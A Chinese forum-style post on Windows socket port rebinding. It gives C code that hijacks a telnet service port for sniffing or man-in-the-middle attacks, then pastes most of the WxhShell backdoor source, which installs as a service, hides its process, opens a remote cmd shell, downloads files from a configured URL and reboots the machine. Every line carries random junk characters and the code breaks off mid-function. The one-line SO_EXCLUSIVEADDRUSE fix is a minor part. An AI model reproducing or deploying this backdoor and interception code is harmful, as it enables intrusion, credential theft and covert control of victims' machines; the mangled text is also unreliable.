在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
a+,zXJQYq s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
MoC@n+Q+@ >TG# saddr.sin_family = AF_INET;
-fT}Nj\ 7_CX6: saddr.sin_addr.s_addr = htonl(INADDR_ANY);
5
[X,? P 9?I]a)G bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
eZMfn$McJv <K {|#ND# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
7_c/wbA#me tKYg 这意味着什么?意味着可以进行如下的攻击:
I]6,hygs $ 9
k5a 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
@Zw[LIQ* mu$rG3M 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
fR#W#n#m 6wH:jd9, 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
v(~EO(n. rp,Us#>6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
NuR3]Ja\0 d5#z\E?? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
XVzsqi*Z CG]/. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
K8{ef ui<Mnm_T;d 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
y1#*c$ O Iwe #include
i0'g$ #include
Rh%C$d( #include
Svt%*j #include
n*r Xj{Kt DWORD WINAPI ClientThread(LPVOID lpParam);
VYnB&3%DF int main()
(N?nOOQ {
u]sxX") WORD wVersionRequested;
c]A @'{7 DWORD ret;
.\mkgAlyaM WSADATA wsaData;
o,[Em< BOOL val;
~mC>G 4y$a SOCKADDR_IN saddr;
IubzHf SOCKADDR_IN scaddr;
z
LZHVvL3 int err;
ccwz:7r SOCKET s;
g4&f2D5 SOCKET sc;
6 jU?~ int caddsize;
8f>v[SQ" HANDLE mt;
iM M s3 DWORD tid;
cS(=wC wVersionRequested = MAKEWORD( 2, 2 );
?D['>Rzu err = WSAStartup( wVersionRequested, &wsaData );
Xa_:B\ic if ( err != 0 ) {
bJ^Jmb printf("error!WSAStartup failed!\n");
_*-b0 }T return -1;
+zZ]Txb( }
fE1VTGfd: saddr.sin_family = AF_INET;
(o4':/es t@!A1Vr@ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
2Ws'3Jz IAMtMO^L saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
H
$mZ? saddr.sin_port = htons(23);
~toR)=Yv if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
iz3Hoj {
uLr-!T printf("error!socket failed!\n");
8\rAx P}= return -1;
m'WGK`WIm }
BFZ\\rN` val = TRUE;
|}Mt hj9n //SO_REUSEADDR选项就是可以实现端口重绑定的
^+x ,211f if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
&"DD&87N% {
{Zo*FZcaX printf("error!setsockopt failed!\n");
B/dJj# return -1;
'#lc?Y(pJ2 }
pER[^LH_) //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
}c=YiH,o //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
EpK7VW //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
m O"Rq5 sNZOm $ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
R0e!b+MZ. {
3{M0iNc1 ret=GetLastError();
.p%V]Ka printf("error!bind failed!\n");
2]V8- return -1;
X0 ]Se( }
m@"p#pt(_ listen(s,2);
Kh{_BdN while(1)
r=# v@]zB {
`$ pJ2S caddsize = sizeof(scaddr);
@ 1FWBH~ //接受连接请求
jQ['f\R sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
[nLd> 2P if(sc!=INVALID_SOCKET)
6kO+E5;X {
DTl&V|h$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
zS'{F>w if(mt==NULL)
! q+>'Mt {
]CX^!n printf("Thread Creat Failed!\n");
-qG7, t break;
1;HL=F }
2 ]}e4@{ }
j-v/;7s/B CloseHandle(mt);
Sg1,9[pb }
m}t`43}QE closesocket(s);
Q}uh`?t WSACleanup();
wsgT`M'J[ return 0;
Yu:($//w }
uFL!*#A DWORD WINAPI ClientThread(LPVOID lpParam)
@%!Gj{ {
Y#FSU#a$< SOCKET ss = (SOCKET)lpParam;
z8
K#G%,: SOCKET sc;
vH@$?b3VP unsigned char buf[4096];
5uU{!JuSa SOCKADDR_IN saddr;
E//*bmww long num;
6>b'g
~I DWORD val;
u zL|yxt DWORD ret;
zLg_0r*h1 //如果是隐藏端口应用的话,可以在此处加一些判断
pIY3ft\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
,irc=0M( saddr.sin_family = AF_INET;
4"eeEs h saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
hA+;eXy/ saddr.sin_port = htons(23);
M1I4Ot if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
tDtqTB} {
Qm4cuV-0{ printf("error!socket failed!\n");
5Zl7crA [ return -1;
}DQ[C& }
9`!#5i)VU8 val = 100;
/Q'O]h0a if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
le2 v"Y {
-l{ wB" ret = GetLastError();
TSj)XU {W return -1;
\b?O+;5Cj }
XlJ+:st if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
CFeAKjG {
soqnr"
1 ret = GetLastError();
RY*yj&?w[ return -1;
>HRLL\u9 }
;V^ I>-fnm if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
C3b<Wa]) {
29NP!W
/g printf("error!socket connect failed!\n");
Hr/J6kyB) closesocket(sc);
Z$S0X$q} closesocket(ss);
B|S X?X return -1;
E#n:d9WA: }
f0g&=k{OD while(1)
\8`^QgV`@ {
kp*BAQ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
H}lbF0` //如果是嗅探内容的话,可以再此处进行内容分析和记录
aq8mD^j -& //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
t_Ul;HVPS num = recv(ss,buf,4096,0);
+Q!Kj7EU/ if(num>0)
(ewcj\l4* send(sc,buf,num,0);
IXsOTBM else if(num==0)
"~T06!F45 break;
<"`P;,S num = recv(sc,buf,4096,0);
!&o>zU. if(num>0)
=A;79@bY send(ss,buf,num,0);
j4h?" else if(num==0)
K\$z,}0 break;
)`zfDio-1V }
||.Ve,<: closesocket(ss);
;o.,vQF* closesocket(sc);
> u=nGeO return 0 ;
k_1oj[O }
VqeW;8&*iv Xa[lX8$zL HA.
O"A8` ==========================================================
bc\?y2
3 ~q{QquYV 下边附上一个代码,,WXhSHELL
l%7^'nDn w4Ku1G#jC ==========================================================
_2WIi/6K +ID%( : #include "stdafx.h"
kYkck]| u!cA_, #include <stdio.h>
T\L
LOx\ #include <string.h>
e{d$OzT) V #include <windows.h>
;\t(c #include <winsock2.h>
ni3A+Y0 #include <winsvc.h>
=Lr#
*ep[ #include <urlmon.h>
>{juw&Uu J+*n}He, #pragma comment (lib, "Ws2_32.lib")
`Dv&. #pragma comment (lib, "urlmon.lib")
5v#_2Ih {4b8s%:!4 #define MAX_USER 100 // 最大客户端连接数
<nn!9V\C #define BUF_SOCK 200 // sock buffer
RQ[6svfP #define KEY_BUFF 255 // 输入 buffer
e6^iakSd.L uB35CRd #define REBOOT 0 // 重启
i%9xt1c_ #define SHUTDOWN 1 // 关机
/f
-\
3 JC4Z^/\. #define DEF_PORT 5000 // 监听端口
}C&kzJBEF .gd'<l #define REG_LEN 16 // 注册表键长度
ZAMS;e+e #define SVC_LEN 80 // NT服务名长度
F6)/Iiv DKqO5e\l8@ // 从dll定义API
%:[Y/K- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
w~VqdB typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
oOK&+r7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
7 *HBb- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Di #E m[ o<%s\n // wxhshell配置信息
sxQMfbN struct WSCFG {
)9>E} SU/ int ws_port; // 监听端口
)rv<" char ws_passstr[REG_LEN]; // 口令
84maX' int ws_autoins; // 安装标记, 1=yes 0=no
k'+Mc%pg4E char ws_regname[REG_LEN]; // 注册表键名
]}dAm S/ char ws_svcname[REG_LEN]; // 服务名
NeY,Of| char ws_svcdisp[SVC_LEN]; // 服务显示名
woR }=\K char ws_svcdesc[SVC_LEN]; // 服务描述信息
T13Jn o char ws_passmsg[SVC_LEN]; // 密码输入提示信息
.R{P%r int ws_downexe; // 下载执行标记, 1=yes 0=no
B!z5P"C(~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
}4"T#
[n# char ws_filenam[SVC_LEN]; // 下载后保存的文件名
F#XzhDs
|HB };
8Wyv!tL I;Bci m; // default Wxhshell configuration
OAtn.LU struct WSCFG wscfg={DEF_PORT,
*|k/l I
"xuhuanlingzhe",
i fbO< 1,
&(HIBF'O "Wxhshell",
q3R?8Mb "Wxhshell",
kc70HrG "WxhShell Service",
4f>
s2I&pQ "Wrsky Windows CmdShell Service",
%q
7gl;' "Please Input Your Password: ",
n+uDg 1,
h^"OC$ "
http://www.wrsky.com/wxhshell.exe",
?BnjtefIe "Wxhshell.exe"
:0B'
b };
[\e2 ID; G=%SMl>[ // 消息定义模块
mmrz:_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
>vY5%%} char *msg_ws_prompt="\n\r? for help\n\r#>";
j
/=4f char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
.[4Dvt|>6 char *msg_ws_ext="\n\rExit.";
F^|4nBd*ub char *msg_ws_end="\n\rQuit.";
6)~J5Fb char *msg_ws_boot="\n\rReboot...";
\ )n'Ywr char *msg_ws_poff="\n\rShutdown...";
>0qe*4n|M char *msg_ws_down="\n\rSave to ";
iu6NIy7D $N)b6(}F10 char *msg_ws_err="\n\rErr!";
O*7`Waag char *msg_ws_ok="\n\rOK!";
Vy[ m%sEP |#=4]]>m char ExeFile[MAX_PATH];
knJoVo] int nUser = 0;
Ro|%pT HANDLE handles[MAX_USER];
Rck k int OsIsNt;
)X-/0G=N- Yn }Ivg SERVICE_STATUS serviceStatus;
" tUF,G(< SERVICE_STATUS_HANDLE hServiceStatusHandle;
IF$*6
,v.z <:UP // 函数声明
<v=T31aS int Install(void);
X6Hd%}*mN int Uninstall(void);
!c8hER! int DownloadFile(char *sURL, SOCKET wsh);
/NFcIU int Boot(int flag);
l TRQ/B void HideProc(void);
Zm!5X9^! int GetOsVer(void);
csay\Q{ int Wxhshell(SOCKET wsl);
k3B-;%3I; void TalkWithClient(void *cs);
;J3
(EB int CmdShell(SOCKET sock);
t!,GI& int StartFromService(void);
c*#*8R9.y int StartWxhshell(LPSTR lpCmdLine);
@d86l.= Fz4g:8qdA VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
9n#Em VOID WINAPI NTServiceHandler( DWORD fdwControl );
![*7HE>}, J#^oUq // 数据结构和表定义
i+HHOT SERVICE_TABLE_ENTRY DispatchTable[] =
x<%V&<z1g {
_Q1[t9P" {wscfg.ws_svcname, NTServiceMain},
d=_Wgz,d {NULL, NULL}
+sc--e? };
wO
{-qrN &p2fMVWJ7 // 自我安装
!Yan}{A, int Install(void)
=fr_` "?k {
_<i*{;kR6 char svExeFile[MAX_PATH];
#U j~F HKEY key;
7xmif YC strcpy(svExeFile,ExeFile);
1]<wZV}. `vFYeN; // 如果是win9x系统,修改注册表设为自启动
gP?uLnzvi if(!OsIsNt) {
)W& $FU4JK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`Mp-4)mn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%IbG@}54 RegCloseKey(key);
p/k6}Wl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
rpu{YC1C% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
mt(2HBNoz RegCloseKey(key);
psZAO,p return 0;
.\X;VWTI }
It/IDPx4ga }
r g$2)z1 }
+/E
yX= else {
U oiXIf_Q 8#MiM . f // 如果是NT以上系统,安装为系统服务
3M[b)At V. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
a!US:^}lu if (schSCManager!=0)
h^}r$k_n {
_#8OHG.x SC_HANDLE schService = CreateService
ZCbnDj (
Y@Zv52, schSCManager,
&gL &@';, wscfg.ws_svcname,
8T#tB,<fFW wscfg.ws_svcdisp,
5/) ,HGxi SERVICE_ALL_ACCESS,
#AJo75E% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
![,W? SERVICE_AUTO_START,
_s_%}8o SERVICE_ERROR_NORMAL,
*uq}jlD`! svExeFile,
=#"ZO NULL,
`bdCom NULL,
#&cNR_"w NULL,
?U`~,oI0 NULL,
RN%*3{- NULL
,' m<YTF );
*"pf3x6 if (schService!=0)
+W6QtB6 {
]EhW CloseServiceHandle(schService);
VkNg Vjg CloseServiceHandle(schSCManager);
JPt=~e( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
18AKM strcat(svExeFile,wscfg.ws_svcname);
pUz;e#J| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RnX:T)+o RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
f/Lyc=-] RegCloseKey(key);
mXH\z return 0;
q)ns ui( }
jd]YKaI }
x]Nk T CloseServiceHandle(schSCManager);
|aT&rpt }
A80r@)i }
tX$v)O| |Ts|>"F' return 1;
{iI"Lt }
X7*i-v@ VqeK~,} // 自我卸载
J^J$I! int Uninstall(void)
U;7Cmti" {
:|\{mo1NB HKEY key;
<=D\Ckmb 5)rMoYn25 if(!OsIsNt) {
s5DEuu>g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
V4PV@{G RegDeleteValue(key,wscfg.ws_regname);
P)2.Gx/ RegCloseKey(key);
)\bA'LuFy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
9"=1 O RegDeleteValue(key,wscfg.ws_regname);
a&Stdh RegCloseKey(key);
$X9`~Sv _ return 0;
bk-veJR }
TA.ugF)h }
S<f]Y4A& }
MrW#~S|ED else {
d%y)/5 =q%Q^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
b 6FC if (schSCManager!=0)
` n*e8T {
V5MLzW\8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
p6MjVu if (schService!=0)
CBqeO@M {
O]>FNsh ! if(DeleteService(schService)!=0) {
9\_^"5l CloseServiceHandle(schService);
ne=?'e4 CloseServiceHandle(schSCManager);
_NfdJ=[Xh return 0;
\lJCBb+k }
w&vZ$n-| CloseServiceHandle(schService);
mM> L0 }
5@Y rtZI CloseServiceHandle(schSCManager);
h& t/
L }
o1m+4.- }
5cv&`h8uo_ 6%hr]>L return 1;
7wivu*0 }
Md4hd#z HinPO // 从指定url下载文件
mzh8<w?ns int DownloadFile(char *sURL, SOCKET wsh)
{<~oa+" {
i;u#<y{E HRESULT hr;
*Vbf;=Mb char seps[]= "/";
VO (KQx char *token;
cN#c25S> char *file;
59Lv/Mfy char myURL[MAX_PATH];
Dsl,(qm5 char myFILE[MAX_PATH];
0^H"eQO vn]e`O>y strcpy(myURL,sURL);
MY8[)<q" token=strtok(myURL,seps);
)Vn(J#s while(token!=NULL)
}de{- {
Yq6e=?- file=token;
<sALA~p|0 token=strtok(NULL,seps);
A5UZUU^ }
\gBsAZE @O!BQ^'hk# GetCurrentDirectory(MAX_PATH,myFILE);
;qA(!`h+ strcat(myFILE, "\\");
~o_zV'^f@o strcat(myFILE, file);
?5N7,|K) send(wsh,myFILE,strlen(myFILE),0);
Hwz.5hV" send(wsh,"...",3,0);
eHQS\n hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
V<:)bG4;d if(hr==S_OK)
F9Hxqa#1T return 0;
St1Ny,$yU else
G^G= .9O return 1;
)p$a1\~m I@$cw3 }
'7oWN,- ~`xaBz0q // 系统电源模块
gMGX)Y ,=/ int Boot(int flag)
AYVkJq ? {
I"=a:q HANDLE hToken;
UJ/=RBfkJ TOKEN_PRIVILEGES tkp;
wWVLwp4- $
$=N'Q if(OsIsNt) {
YB`;<+sY OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ii3{HJ*C LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
\ah.@s tkp.PrivilegeCount = 1;
$QNII+o
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
{RmN1'% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
!Ojf9 6is if(flag==REBOOT) {
(bX77 Xr if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
]O^C'GzZ return 0;
L[D<e?j }
\CY_nn|&g else {
ujLz<5gKuO if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
7f$ hg8 return 0;
8wi2&j_ }
G~VukW<e }
\y7kb else {
;kX:k~,]}> if(flag==REBOOT) {
%KkMWl&: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
LX!MDZz return 0;
QY^v*+lr\ }
>" &&,~ else {
mRECdGst if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
6EX_IDb return 0;
;8~tt I }
!,(6uO% }
8mmHefZ}2! yUyx&Y/ return 1;
WZ A8D0[ }
!wU~;sL8C3 \#hp,XV> // win9x进程隐藏模块
o^\L41x3 void HideProc(void)
yP~O C|Z {
,.K}uW IyV%tOy HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Z ? F*Z0y if ( hKernel != NULL )
(6Y.|u]bq {
O>M4%p pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
G@N-+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Ih;I&D+e; FreeLibrary(hKernel);
z m&?G }
mdB~~j O0~Qh0~l return;
Z8vR/ }
\7d T]VV $q%l)]+ // 获取操作系统版本
hmG^l4B.T int GetOsVer(void)
7rZE7+%] {
(QFu``ae+ OSVERSIONINFO winfo;
"Yy)&zKr winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
rIhe}1 GetVersionEx(&winfo);
H6vO}pq)r if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
6+iZJgwAy return 1;
gz~)v\5D/ else
%8]~+#]p return 0;
6a%dq"5 + }
FRR`<do5$, {
ML)F ]] // 客户端句柄模块
}u
`~lw(Z int Wxhshell(SOCKET wsl)
u]uUm1Er {
B=;pwX SOCKET wsh;
7xlarns struct sockaddr_in client;
+FGw)>g8'm DWORD myID;
5/f"dX gNj~o^6|@ while(nUser<MAX_USER)
<`P7^
'z! {
1oSU>I_i int nSize=sizeof(client);
#
VAL\Z wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
iuGly~ if(wsh==INVALID_SOCKET) return 1;
8ED}!;ZU Es^=&2'' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Q\qI+F2? if(handles[nUser]==0)
{*NM~yQ closesocket(wsh);
LV6BSQyQ else
\5q0nB@i5y nUser++;
Lt?k$U{qe) }
$psPNJG WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
[a2Q ^ab i9O;D* return 0;
7&>==|gt }
!hc#il'g]. l(j._j~p // 关闭 socket
}^"#&w3< void CloseIt(SOCKET wsh)
ysDGF@wZC {
}P(<]UF closesocket(wsh);
0/~20 KD{s nUser--;
a*3h|b< ExitThread(0);
|jw{7\+ }
p8bAz |3K]>Lio // 客户端请求句柄
J*zm*~8\ void TalkWithClient(void *cs)
|k[hk {
hha!uD~( dZ;rn!dg> SOCKET wsh=(SOCKET)cs;
'6zk>rN char pwd[SVC_LEN];
9'I$8Su char cmd[KEY_BUFF];
RkTO5XO char chr[1];
MWHzrqCA int i,j;
#P/}'rdt $>6Kn`UX while (nUser < MAX_USER) {
ll#_v^ h#?)H7ft if(wscfg.ws_passstr) {
G$7!/O%#_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
CWx_9b zk //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
0m>?-/uDx //ZeroMemory(pwd,KEY_BUFF);
o7^u@*"F i=0;
Hr}pO"% while(i<SVC_LEN) {
zLS=>iLD{ rpn&.#KS // 设置超时
f`Wces=5 fd_set FdRead;
YLkdT% struct timeval TimeOut;
y|h:{< FD_ZERO(&FdRead);
J=7<dEm& FD_SET(wsh,&FdRead);
f
J$>VN TimeOut.tv_sec=8;
=+>^:3cCQ TimeOut.tv_usec=0;
E7AYK& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
-s,guW | if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
&O;'?/4
S yT pvKCC if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
<52) pwd
=chr[0]; -l i71.M
if(chr[0]==0xd || chr[0]==0xa) { 3uJ>:,~r
pwd=0; FF'Ul4y
break; Q2jl61d_9
} ?<h|Q~JH
i++; 0?/vcsO
} dePI&z:
6 ,j&u7
// 如果是非法用户,关闭 socket Hr/3nq}.
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AiOz1Er
} 68YJ@(iS
y>iot e~
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^,,lo<d_L
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _ H$^m#h
P%_PG%O2p
while(1) { yaW HGre
YM4njkI7
ZeroMemory(cmd,KEY_BUFF); Q~>="Yiu
T*v@hbJ
// 自动支持客户端 telnet标准 b_%W*Q
j=0; C=!YcJ9
while(j<KEY_BUFF) { |p"4cG?)
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n.tJ-l5[
cmd[j]=chr[0]; O9jpt>:kZ
if(chr[0]==0xa || chr[0]==0xd) { GJP\vsaQ
cmd[j]=0; fNNik7
break; D! $4
} +x:-W0C:
j++; QoTjKck.
} >7j(V`i"y
ow@1.5WL+
// 下载文件 bc ;(2D
if(strstr(cmd,"http://")) { >^(Q4eU7!
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3E`poE
if(DownloadFile(cmd,wsh)) |C_sP,W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tj_~ BT
else rn"}@5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +~cW0z
} $kCXp.#k@~
else { x39n7+j4
;VIW/
switch(cmd[0]) { I$vM )+v=
FEqR7
// 帮助 p&<X&D
case '?': { v.pj
PBU1
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }Pf7YuUZZ
break; #M5[TN!
} xK;WJm"
// 安装 /m+q!yi &
case 'i': { E])X$:P?
if(Install()) WTZr{)e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }2i3
else N,Ys}qP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "H!2{l{
break; L.1pO2zPe
} Bp:i[9w
// 卸载 a eo/4
case 'r': { PN@[k:5(
if(Uninstall()) I~:
AWS9
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
0"O22<K3a
else A"`(^#a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .f~x*@
break; q9mYhT/Im
} p/GYfa
dU
// 显示 wxhshell 所在路径 ~IP3~m D
case 'p': { ]'a9>o
char svExeFile[MAX_PATH]; <+2M,fq+
strcpy(svExeFile,"\n\r"); "Ca?liy
strcat(svExeFile,ExeFile); 2 -
?
send(wsh,svExeFile,strlen(svExeFile),0); *q/oS8vavd
break; 5Zdxn>
} -+#g.1UL/
// 重启 7<?~A6
case 'b': { tzFgPeo$;
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b6E,u*)"
if(Boot(REBOOT)) )$ +5imi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <^,5z!z}
else { I];Hx'/<~
closesocket(wsh); V6{P4 1_
ExitThread(0); T-L;iH~0
} ,0=@cJ
break; m+Bt9|d
} beM}({:`
// 关机 ]\Tcy [5
case 'd': { U]h5Q.<SG
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !ENb \'>J>
if(Boot(SHUTDOWN)) wZV/]jmlEt
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jSyF]$"
else { 5I(gP
closesocket(wsh); 1vF^<{%v
ExitThread(0); u4kg#+H
} zFtRsa5+
break; 7k>sE
} ]c \gUU
// 获取shell h) .([
case 's': { !Xbr7:UPN1
CmdShell(wsh); C$1}c[
closesocket(wsh); k^IC"pUc
ExitThread(0); Jm+hDZrW
break; ,&\uuD&.@
} Yy"05V.
// 退出 ^|(w)Sy
case 'x': { liUrw7,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?r,lgaw
CloseIt(wsh); u}7#3JfLn
break; ttwfWfX
} IaU
// 离开 uW8LG\Z>D5
case 'q': { [ Yzh(a8
send(wsh,msg_ws_end,strlen(msg_ws_end),0); coxMsDs
closesocket(wsh); #.(6.Li
WSACleanup(); fdD?"z
exit(1); U0+Hk+
break; C>qKKLZ
} +##b}?S%
} $Qv+*%c
} ~8-Z=-
H?P:;1A]c
// 提示信息 C
NNyz$
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mGXjSWsd
} ^]$x/1I;
} wv2
y6lle<SIu
return; WJ9= hr
} 8-?.Q"D7%
Xw=>L#Q
// shell模块句柄 DFz,>DM;
int CmdShell(SOCKET sock) oXc!JZ^
{ L//Z\xr|
STARTUPINFO si; Wh:SZa|
ZeroMemory(&si,sizeof(si)); ['MG/FKuv
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L>Y>b4oy3
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O/9 dPod
PROCESS_INFORMATION ProcessInfo; t&SC>8M<
char cmdline[]="cmd"; l)glT]G3+
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t]~Lo3
return 0; `5[d9z/ 6
} HXTBxh
(Id]'w4
// 自身启动模式 af61!?K
int StartFromService(void) ey@]B5
{ 3%]%c6
typedef struct $/aZ/O)F
{ xq2{0q
DWORD ExitStatus; sS,Swgr
DWORD PebBaseAddress; }jM&GH1
DWORD AffinityMask; /#z5bo
DWORD BasePriority; jmbwV,@Q2
